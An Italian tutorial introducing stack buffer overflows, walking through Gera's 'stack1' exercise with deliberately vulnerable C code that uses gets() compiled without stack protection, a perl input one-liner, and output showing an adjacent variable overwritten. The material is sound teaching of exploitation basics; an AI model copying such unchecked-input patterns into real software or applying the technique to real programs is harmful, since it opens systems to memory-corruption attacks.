La maggior parte degli Worm utilizzati per infettare i dispositivi sfruttano una particolare e ormai ben nota vulnerabilità, il cosidetto buffer overflow. Questo attacco, scoperto nel 1972, venne utilizzato anche dal primo worm (Morris Worm), il quale penetro in più di 6.000 dispositivi connessi ad internet (quasi il 5% all’epoca).
Sebbene sia una vulnerabilià nota da tempo, non è mai stato possibile risolverla ma solo aggirarla, poiché, essendo presente in linguaggi di programmazione che non includono funzionalità di tipo type-safety o memory-safety (come il C), se il programmatore non effettua determinati e specifici controlli, il programma potrebbe esserne affetto.
La definizione corretta di un buffer overflow viene indicata generalmente come:
Un buffer overflow avviene quando si assegnano più dati rispetto a quanti ne possano essere inseriti all’interno di un buffer. Di conseguenza può essere sovrascritto il codice presente all’indirizzo di memoria adiacente al buffer, causando crash o accessi non autorizzati ad altri indirizzi di memoria.
Questo significa che qualsiasi programma che accetti input dall’utente potrebbe essere affetto da questo tipo di vulnerabilità, e proprio per questo è uno tra gli attacchi più devastanti e pericolosi.
Alcune delle conseguenze di un attacco di questo tipo possono essere:
Quando un programma viene compilato e poi avviato, viene diviso in segmenti, cioè un insieme di indirizzi virtuali contigui, tra cui codice e dati, inseriti in memoria virtuale.
Il segmento testo contiene il codice del programma e le costanti. Non è vulnerabile all’attacco di buffer overflow poichè non è possibile scrivere al suo interno, causerebbe solamente un errore di memoria e la chiusura del programma. L’area dati salva invece le variabili globali inizializzate, mentre il segmento bss contiene le variabili globali non inizializzate.
Nello heap avviene l’allocazione dinamica dei dati, e può incrementare la sua grandezza (solitamente) verso l’alto. Lo stack contiene lo stack del programma, e viene utilizzato, ad esempio, quando si effettua una chiamata ad una funzione, o per salvare le variabili locali.
Lo stack contiene quindi i parametri attuali della funzione, gli indirizzi di ritorno e le variabili locali, utilizzate come buffer.
Come si nota dalla prima immagine, lo stack ha una posizione fissata e cresce verso il basso. In esso sono possibili due operazioni:
In un semplice programma, contenente un main e una funzione f(), lo stack è definito in questo modo:
Nel caso questi concetti fossere del tutto nuovi per il lettore, consiglio di partire dalla Gestione della Memoria.
Per conoscere la grandezza e la posizione di un eseguibile, esiste il comando size in Linux, il quale permette di conoscere anche gli indirizzi in cui sono posizionati.
mrtouch@mrtouch:~/Desktop/Buff Overflow/Stack$ size -A stack1 -x
stack1 :
section size addr
.interp 0x1c 0x400238
.note.ABI-tag 0x20 0x400254
.note.gnu.build-id 0x24 0x400274
.gnu.hash 0x1c 0x400298
.dynsym 0xc0 0x4002b8
.dynstr 0x58 0x400378
.gnu.version 0x10 0x4003d0
.gnu.version_r 0x20 0x4003e0
.rela.dyn 0x18 0x400400
.rela.plt 0xa8 0x400418
.init 0x1a 0x4004c0
.plt 0x80 0x4004e0
.text 0x242 0x400560
.fini 0x9 0x4007a4
.rodata 0x108 0x4007b0
.eh_frame_hdr 0x34 0x4008b8
.eh_frame 0xf4 0x4008f0
.init_array 0x8 0x600e10
.fini_array 0x8 0x600e18
.jcr 0x8 0x600e20
.dynamic 0x1d0 0x600e28
.got 0x8 0x600ff8
.got.plt 0x50 0x601000
.data 0x10 0x601050
.bss 0x8 0x601060
.comment 0x2b 0x0
.debug_aranges 0x30 0x0
.debug_info 0xdb 0x0
.debug_abbrev 0x9c 0x0
.debug_line 0x5a 0x0
.debug_str 0xec 0x0
Total 0xd09
L’attacco quindi prevede iniezione di codice opportunamente codificato in memoria, al fine di eccedere la dimensione del buffer e sovrascrivere indirizzi di memoria limitrofi.
Nei sistemi Unix, il principale tipo di codice utilizzato in questi attacchi viene detto Shellcode, in quanto si cerca di ottenere la shell inserendo uno specifico payload.
Esempio di attacco
Il seguente codice è vulnerabilie all’attacco
/* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("\n");
printf("buf punta all'indirizzo %p e contiene \'%s\'\n",buf,buf);
printf("cookie punta all'indirizzo %p e contiene %d\n",&cookie, cookie);
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
printf("\nInserisci contenuto buffer:");
gets(buf);
printf("\nLunghezza buffer: %d\n",strlen(buf));
printf("\nbuf all'indirizzo %p e contiene \'%s\'\n", buf, buf);
printf("cookie all'indirizzo %p e contiene %p\n\n",&cookie, cookie);
if (cookie == 0x41424344)
printf("you win!\n\n");
}
Quando avviene la chiamata alla funzione gets, non viene infatti eseguito nessun controllo e possiamo inserire quanti dati vogliamo. I printf li ho inseriti solo per far capire cosa avviene a livello di indirizzi. Per compilare questo programma ho dovuto utilizzare l’opzione -fno-stack-protector in quanto il computer bloccava l’attacco, identificando una scrittura non prevista nello stack. Anche compilando, mi avvisa che la chiamata gets è pericolosa e non dovrebbe essere utilizzata.
Come si può notare, dopo che ho inserito la parola Ciao, l’array (buf) viene riempita da essa, mentre l’intero non contiene nulla, visto che non c’è nessuna richiesta di inserimento.
Provo ora ad inserire più caratteri rispetto a quanti ce ne possono stare nel buffer. Per stampare tanti caratteri mi avvalgo di perl, il quale offre semplici comandi per eseguire questo tipo di istruzioni.
perl -e "print 'A'x92"
mrtouch@mrtouch:~/Desktop/Buff Overflow/Stack$ ./stack1
buf punta all'indirizzo 0x7ffc7e3ccbe0 e contiene '�1��#'
cookie punta all'indirizzo 0x7ffc7e3ccc3c e contiene 0
buf: 7e3ccbe0 cookie: 7e3ccc3c
Inserisci contenuto buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA123
Lunghezza buffer: 95
buf all'indirizzo 0x7ffc7e3ccbe0 e contiene 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA123'
cookie all'indirizzo 0x7ffc7e3ccc3c e contiene 0x333231
L’intero ora contiene i caratteri 321 (perchè il computer è in little endian) scritti in esadecimale
mrtouch@mrtouch:~/Desktop/Buff Overflow/Stack$ echo -e '\x33\x32\x31'
321
Visto che l’esercizio richiedeva di stampare i caratteri 0x41424344 (convertita in decimale ABCD) li inserisco nel buffer (al contrario sempre per via del little endian)
Con il passare degli anni, molti ricercatori hanno provato a cercare una soluzione, ma non si è mai raggiunta una conclusione definitiva al problema. Chiaramente sono stati inseriti altri controlli di base:
L’esempio è ovviamente uno dei più semplici che ci sia, ma è sicuramente un ottimo modo per iniziare. Per chi volesse iniziare autonomamente, sono gli esercizi di Gera. Probabilmente nei prossimi articoli pubblicherò alcune soluzioni. Altri esercizi si possono trovare su questa pagina, mentre uno dei libri più completi per affrontare questo argomento è The Art of Exploitation.